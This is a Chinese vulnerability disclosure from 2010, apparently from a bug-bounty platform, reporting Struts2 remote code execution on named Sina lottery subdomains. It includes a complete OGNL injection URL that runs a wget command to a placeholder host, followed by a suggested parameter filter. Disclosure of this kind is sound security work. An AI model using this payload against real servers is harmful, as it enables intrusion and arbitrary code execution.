漏洞详情
披露状态:
2010-07-16: 细节已通知厂商并且等待厂商处理中
2010-08-18: 细节向公众公开
简要描述:
新浪网可以远程执行代码,可能造成网站被入侵。
详细说明:
使用struts2的任意产品线,在默认配置情况下会导致任意java代码能够以webserver的权限执行。
如下url存在代码执行漏洞
http://caipiao.sc.sina.com.cn/cbportal/userinfo/showRegister.action
http://caipiao.fj.sina.com.cn/sp1/act/chartmall.chart.action
http://caipiao.henan.sina.com.cn/cbportal/userinfo/showRegister.action
漏洞证明:
http://caipiao.fj.sina.com.cn/sp1/act/chartmall.chart.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('\u0023rt.exec(%22/usr/bin/wget ip:port%22)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
修复方案:
由于官方尚无补丁,且此漏洞主要针对框架攻击,因此建议在ParameterInterceptor中,过滤掉含有\()@等漏洞利用所必须字符的参数。